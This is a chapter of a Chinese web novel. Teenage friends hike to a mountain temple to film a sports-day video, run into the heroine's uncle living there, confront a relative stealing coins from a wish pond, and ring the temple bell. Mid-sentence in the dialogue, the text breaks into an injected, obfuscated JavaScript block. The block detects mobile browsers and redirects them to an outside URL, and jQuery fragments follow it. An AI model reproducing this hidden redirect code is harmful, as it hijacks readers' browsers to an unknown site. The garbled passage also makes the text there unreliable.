42. 人猿泰山来了都得叫声惭愧

作品:《乱麻里摘花[出租屋]

    “你怎么又回客厅睡了?”


    骆乘光的声音同时在卧室门口响起。


    他说完看了眼并排躺着非常安详的两人,五官皱在一起,脸上流露出高深莫测的老头表情。


    骆远方除了避嫌,顾不得别的,一招釜底抽薪,拔出枕在郑策脖子下的胳膊,直接将躺在地上的郑策囫囵个转了三百六十度。


    郑策被迫面朝地思过:呃……


    她到底是做错了什么见不得人的事情,还没醒就要受到这样非人哉的折磨。


    昨晚,江蔚云见郑策迟迟不进屋,一个人睡得不踏实,半夜醒来就看见客厅里昏天黑地的两人。


    于是揉了揉眼睛,抱着自己小枕头也出来躺下。


    谁料刚躺下来不久,骆乘光半夜上厕所,担心小孩儿着凉,又把她给抱回了卧室。


    显而易见的是,江蔚云又跑了出来。和骆远方郑策头抵着头,呈散射状分布。


    假装他们是一圈太阳射线。


    “你们晚上都在客厅睡的?”骆淇那边的房门也打开了,愣愣地看着四个人。


    随即摆了摆手,去抢厕所,“年轻人,就爱折腾。”


    骆远方有点郁闷。


    怎么就四个人都在客厅的睡的!明明就……


    今早学校临时消防安全检查,他们刚好偷得懒,骆远方洗洗漱去楼下买了清红汤的米粉,还有撒上榨菜、花生碎和撒子的油茶。


    吃到最后,家里只剩他和郑策两个闲人。


    手机一震,安城北打来电话。


    骆远方打开免提放桌上继续嗦粉。


    电话那边,一年四季都跟磕.了.药似的精力百倍。


    “我出发啦骆哥,你收拾好了吗?好香啊,我在路口这儿等你们,吃烤肠吗?”


    “我们?”骆远方嗦一口米粉。


    “郑策不去吗?我以为你们住一起,干什么都要一起。”


    安城北在电话那头对老板喊:


    “老板,烤肠多少钱一根?”


    “三块。”那边说。


    骆远方此时抬头看了眼郑策,“何仙姑说给运动会拍开幕视频,我们打算去山上的庙里,去么?”


    “没事,我在家就行。”


    按刚才这番对话,骆远方明显是没打算叫上她。


    骆远方看着她没动,“又没作业你在家干嘛?”


    “休息啊……不行么?”郑策莫名其妙。


    “之前不是问那个钟声么?”骆远方起身收拾一次性餐盒。


    “走吧,带你去看看。回来后,你除了学校和家里,还去过别的地方么?”


    “我以为……”


    郑策其实想说不必勉强,没必要因为她听见了他们的行程就把自己带上。


    骆远方却哼了声,忽然皱着眉,立马抽一张餐巾纸,狠狠擤了擤鼻涕。


    “我靠,这个虫你礼貌么?我跟你有这么熟嘛?就进我出气儿的地方!”


    他真差点吃了苍蝇,恶心着转头看郑策,“什么?”


    郑策忍俊不禁,不想显得太矫情,道:“没什么,走吧。”


    正好放风一下。


    见她答应下来,骆远方不知为什么,没出息地松了口气。


    安城北吃了两根烤肠,才等来他们,气急败坏冲着骆远方道:


    “骆哥,我给你发一条消息不回,暂且放你一马,两条也不回,也放你一马,发了七八条不回,我还是放过你一马。但!请你记住,我是个帅哥,不是放马的!”


    他伸手递给郑策一根烤肠,“三块一根。”


    郑策鄙夷地一把攥过来两根,自己递给骆远方。


    “五元两根,个奸商,还学二手商赚差价。”


    安城北惊讶:“这你也知道?”


    郑策说:“余幼时即好学,余虽愚,但不算太愚。”


    安城北撇撇嘴,学郑策咬文嚼字,“鱼鱼鱼,曲项向天歌。”


    然后当头挨了骆远方一掌。


    他实在不想跟个傻缺上山。


    安城北好歹是练过一年体育的,这次被柯言委以重任当模特,心里别提多美了。


    这至少是对他外貌的肯定吧。


    于是他觉得独乐乐不如众乐乐,大发慈悲夸了下骆远方,说他这头型挺好看,短发都没有尴尬期的。


    说罢还手欠地摸上两摸。


    老虎的屁股摸不得。差点被骆远方打得上不了山,为光荣的运动会摄影事业英勇就义。


    但其实他们就是个临时草台班子,谁心里都再清楚不过。


    自娱自乐拍视频罢了。


    即便如此,安城北还是跟个猴子一样,满山地蹿。沿路但凡遇见个财神庙,定要上前拜上两拜。


    许愿钱包里多几百,来财来财。


    空谷回响,这里不是著名景点,工作日爬山的人并不多。


    走到后面,偶尔遇见对向来人,安城北都会问问距山顶的庙还有多远,然后不管别人回他说什么,都会哀叹着爬不动了。


    郑策怀疑这猴子体力耗尽,只要距离超过五十米,他就受不了。


    骆远方于是趁他耍赖间隙,抱了几根小树枝,走到山崖下的石头夹缝处。


    跟旁边无数立着的小树枝一样,把这几根也立着嵌了进去。


    “你帮奶奶治腰疼么?”郑策一眼明了。


    “嗯。”骆远方说,“还有你,骆乘光,江蔚云都有一根。”


    呃。


    ……那倒是有劳了。


    “……我靠,没有我的吗?”


    安城北不服气,作势就要上前,眼前却一晃,身形不稳就要倒。


    郑策一把拉住他胳膊,“不会吧?低血糖了?”


    “蹲久了,起猛了。”安城北摇摇头,他忽然定住,指向郑策身后。


    “快看,好美!”


    这条小路傍山临崖,却看不清悬崖下深度,被一山密密匝匝的树荫给包裹。


    不远处的深绿色浓茵缝隙里,光如有实质地打落下来,在虚空里成了形状。


    “别说话。”


    骆远方把镜头对准那边,拍了几秒空境。


    他们恨不得把呼吸都给敛了,视频里唯余远处几声干脆的啼叫。


    过了会儿,骆远方下命令,表示可以说话了。


    “丁达尔效应。”


    “我还以为我散光了。”


    安城北看得出神。


    林间绿荫深不见底,石板路边的金色光束像是从天而降的精灵,慷慨馈赠大山。


    他又呆呆道:“散光的人得多幸福啊,每时每刻都是丁达尔效应。”


    骆远方用看白痴的眼神看了他一眼:“等你眼前全是光束的时候,就不会觉得幸福了。”


    反而会压抑。


    一路上骆远方给安城北拍了许多素材,柯言也是没选错人。这人的表现力多得惊人。


    俗称人来疯。


    只要给他时间耍赖休息一阵,人猿泰山来了都得叫声惭愧。


    山顶的庙是红墙绿瓦,俯视在山尖。


    一进门的石壁上就赫然贴着法律政治的宣传栏。


    再往上,沿路石阶两侧的墙壁上全是各路神仙的浮雕。


    有大有小,大的足有一层楼高,怒目圆睁俯视来人,让人凭空生出敬畏不敢造次。小的拳头大小,机敏灵动,广袖随风。


    雕刻艺术令人赞叹。


    藏传佛教的各色经幡拉了一路,骆淇的头像似乎就是这里照的。


    据说风每吹一遍,相当于诵读了一遍上面的经文,祈福佑安。


    进庙后,出于敬意,骆远方便把摄像机给关了。沉默地每个在巨佛下驻足欣赏,像个虔诚的教徒。


    而世人求神拜佛的大多数愿望无非财与命。


    不可掌控的东西,越发让人迷醉。


    郑策盯着他的侧影,不知他又许了什么愿望。


    “来了啊,微信支付宝?”殿前一个僧人模样的,见着三人就问。


    郑策瞪大眼睛。


    “微信。”骆远方拿出手机便扫了五十元过去。


    “今天后山人多么?我来拍点东西。”


    “不多。”那人看了眼郑策和安城北,“三个学生注意安全啊。”


    僧人说着便踏出门,朝旁边的一栋水泥建筑走去。


    整个寺庙古色古香,雕梁画栋,又处处透着历史遗留的痕迹。只有那栋灰色水泥建筑,崭新的不像样子。


    许是看出郑策的疑惑,骆远方说:“那是僧人的宿舍,闲人免进。”


    “……我不至于好奇别人宿舍。”郑策说,“你和他很熟么?”


    “偶尔会来,脸熟。”骆远方轻巧掀过。


    偶尔心情烦躁的时候,他会来这里给妈妈祈福,让她下辈子投个好胎。今天又加上了郑案。


    马化腾转手的,也不知道能不能保佑。


    他拉了拉相机包带,“走吧,这个时间后山光线好。”


    两人乖乖跟在他身后,路过后院锦鲤池的时候却看见了意料之外的一个人。


    庙里的水池,基本会被信徒投入数不尽的硬币,沉甸甸地载着愿望,在浅绿色的水里反射阳光。


    而此时,水池边站了个人,挽起袖口,仗着周围没人肆无忌惮地在池子里打捞硬币。


    “这也太……放肆了吧。”安城北惊讶道。


    那人闻声顿了下,看过来的脸,正是韩忠夏。


    相比较之前,他更瘦了些,像根弯折的电线杆,僵在原地。一副落魄模样。


    之前宋熙好像说过,他在炒股。


    眼前三个人的亏韩忠夏都吃过一遍,此时被瞧见自己的难堪,韩忠夏扭曲着表情骂了句:“滚。”


    “你这是在偷菩萨的钱,你良心过得去吗?”


    安城北梗着脖子道。


    “听不懂人话吗?”韩忠夏哑着嗓子说。


    “你这是偷。”郑策道,“最后别连累韩俊生他们母子。”


    她捏紧手心,已经紧张地出了一层细汗。


    “我们家的事,管你屁事。”


    韩忠夏依旧没好气。手一松开,咕咚几声,硬币沉入池中,他大步朝三人走来。


    “想干什么?这是庙里!”


    安城北已经做好迎敌的打算,然而神经刚紧绷起来,韩忠夏就被人给拦住肩膀。


    力道不小,捏得他表情都变了。


    韩忠夏回头看见一男人头戴着卫衣连帽,一手揣兜里,另一只手死死压着他肩膀。


    男人脸上带着黑色口罩,露出的眼睛没什么表情,但能看出来年纪不大。


    韩忠夏火气噌地就冒了上来,张牙舞爪要去抓他。


    郑策皱了皱眉。


    来人是宋乐洋。


    但韩忠夏似乎一点也没认出他来。看来这几年宋乐洋和他们是彻底断了关系的。


    她心里有些不是滋味。


    当然宋乐洋也不把韩忠夏当亲戚,下手毫不留情。


    他侧让一步,抓住韩忠夏扑空的手,顺势一拉,脚再踢中他膝弯,借力让韩忠夏对着屋内佛像下了跪。


    “我,操……”韩忠夏疼地咧嘴。


    安城北见这男的也不是个善茬,热锅上蚂蚁一样原地蹦跶了会儿,纠结道:“怎么办?要不要帮忙?”


    他犹豫间,骆远方已经上去帮着制住还在挣扎的韩忠夏。


    韩忠夏此时像案板上脱水的鱼,疲于奔命。


    “滚远点,什么东西都偷,还真是没脸没皮。”


    骆远方推他出去的时候啐了一口,手里还拿着根棍子和宋乐洋一左一右站着示威。


    他们和背后褪了色的两位门神一样,面无表情看着韩忠夏。


    “舅舅?”郑策跑过去,“你怎么在这儿?”


    “舅舅?”安城北嗓子都劈了。


    天知道他刚还在犹豫要不要报警。


    毕竟这深山老林的,三个高中生被一男子抛尸的几率还挺大。


    宋乐洋点开手机:


    我住这儿。


    “你是和尚?”


    郑策惊了,“带发修行?有工资吗?那你还能娶妻生子吗?还是你偷偷住这儿?快走,别被人发现了!”


    宋乐洋无奈地瞅了眼骆远方。


    骆远方这才纡尊降贵缓缓开口:“和尚们给他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338233|175302||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    吃住,他帮着修东西。”


    “骆哥你也认识?!”


    安城北有种被世界抛弃的委屈。


    宋乐洋点点头,一招手示意他们跟上。


    他把三人带到一个偏殿,从供桌上拿了两颗糖递给郑策。


    骆远方见状帮忙解释:“开过光的,给你吃,能保佑你。”


    “她不吃我吃。”安城北流着哈喇子就伸手。


    宋乐洋灵活一避,让开他伸过来的鸡爪子,又重新递给郑策。


    宋乐洋盯着郑策没动。


    骆远方在旁边解说:“一种祝愿,收下吧。”


    “谢了。”


    郑策剥开糖纸塞进嘴里的时候,宋乐洋才往旁边让了半步,像是尽忠职守的骑士完成了自己的任务。


    “这我懂了,让我拿。”


    安城北终于笑嘻嘻地趁虚而入,一点也不恼刚才被拒之门外的事,依旧没心没肺道:


    “开过光的啊,给我妈也揣回去两颗。”


    他也不至于信奉,只是什么都信。能信则信,能拿则拿。


    安城北刚抓了一把,忽然间,空荡昏暗的房间里响起刺耳的……


    甩葱歌?


    “阿拉擦擦拉力拉力令,拉吧立岗丁刚丁刚多……”


    在一片惊愕中,宋乐洋停掉闹钟,非常淡定地从屋侧小门走出去。


    三个人也莫名其妙跟了过去。


    出门是一片空地,有点草长莺飞的意思,宋乐洋的出现惊起几只燕子。


    临崖的地方有座风霜味很重的小亭子,当中立一座古铜色大钟,旁边用看不出颜色的绸缎横吊一截小腿粗细的木棍。


    宋乐洋看了眼时间,秒针跳到整点时,用力敲响那座钟。


    钟声响起的瞬间,带动一阵风,唰地刮过三人,像吹走了所有杂质,尘埃落定。


    带着特有的浑厚回响,像远古梵音,久久萦绕在整个小镇上空。


    钟响十声,代表一日已快过半。


    原来声音的来源一直是这里。


    郑策愣神间,脚下有个暖烘烘软绵绵的东西在蹭自己裤脚。


    低头下去,就看见一个黑色拖把精,绕着自己转圈。


    她下意识去找骆远方。


    此人反应之迅速,已经离得天远地远。


    是只黑色卷毛西藏梗,头顶的长毛还用粉色发圈给扎了起来,露出两只黑色眼珠子像是剔透墨玉做的围棋。


    郑策见它亲人,俯下身去顺毛。


    这狗是宋乐洋在庙外捡的,一开始怕生得很,就躲在门外偷偷守着,喂了几次斋饭才敢进来。


    一入佛门,就成了个菜狗。


    “它叫什么?”郑策问。


    这时候已经指望不上骆远方了,宋乐洋掏出手机敲了个字:


    狗。


    郑策反应了两秒,默契赞道:“好名字。”


    可能见多了来往香客,个个吃斋念佛的,温柔随和,这小狗也逐渐不那么怕人。


    它趴在郑策脚上,郑策用脚背一颠一颠地抬它肚子。


    狗享受按摩般浑然不动,像个沉稳的老者。留着一头的黑胡须。


    见外甥女喜欢这狗,宋乐洋讨好似的带郑策去屋里取斋饭喂狗,便宜它一顿。


    骆远方当然不会进去,找了个借口要给安城北拍照,顺理成章留在外面。


    “我也想吃斋饭……”


    但是安城北一路上体力消耗过大,可怜巴巴地望着骆远方。


    于是他骆哥从兜里掏出一块巧克力。


    舍不得糖果,套不着城北。


    “骆哥……卧槽。”


    “没吃上斋饭,你怨气也不用这么大吧。”


    骆远方盯着手里的屏幕,指挥道,“脸侧过去一点……”


    安城北却死死盯着他身后,骆远方才不耐烦越过相机直接看安城北,“发什么呆呢?”


    “远方?”一个女人的声音在身后响起,“好久不见啊。”


    骆远方身体一僵,转身就看见顾元和她妈妈站在身后。


    两人都一身飒爽,同样的短发,皮肤光洁,像买一赠一的芭比公主。


    “阿姨好。”骆远方不动声色看了眼顾元,“你们来烧香?”


    “嗯,她没事陪着我来念经。”


    顾元妈妈道,“你们今早原来真的放假,我还以为这家伙又翘课了。”


    “你爱信不信吧。”顾元翻白眼。


    “他们说不定也是翘的。”


    “胡说什么。那我们进去了。”


    女人对着骆远方相视一笑,便带顾元继续朝里走。


    “运动会她肯定要参加。”


    安城北看着眼顾元的大长腿背影,替班里的女生们捏了一把汗。


    他忽然瞪大眼睛,反应慢半拍道:


    “不对啊,你们都见过家长了?当年进度这么快!”


    “你再对着外面吼大声点,让全城的人都知道。”


    骆远方放下相机,从兜里把蜘蛛放出来晒太阳。


    “我靠,骆哥你还养蜘蛛。”


    安城北看见这玩意儿后,朗朗乾坤下起了一身鸡皮疙瘩,对骆远方竖起大拇指。


    “它咬人么?”


    “咬,没什么毒,但比蚊子包肿的厉害点。”


    骆远方让蜘蛛爬到食指指尖,他对着阳光举高右手,蜘蛛顺着食指吐出一根细丝,丝滑地匀速下降。


    安城北看呆了。


    骆远方吹了口气,蜘蛛又立马寻着原路吊回去。他半威胁半玩笑说:


    “我和顾元的那些事就此打住,不要让更多的人知道了。”


    安城北脑回路哪有骆远方的山路十八弯,心道这算什么秘密吗?


    他咽了咽喉咙,还想说什么,身后就传来郑策的声音。


    “不巧,我刚听到了。”


    只见刚还神色自如的骆远方,手指受惊般蜷了蜷,安城北恍然大悟。


    更多的人,是这个人呐。


    还用蜘蛛威胁他……


    哼,恶人自有天收。


    安城北默默退到后面看热闹,小声唱起来:爱要坦荡荡~~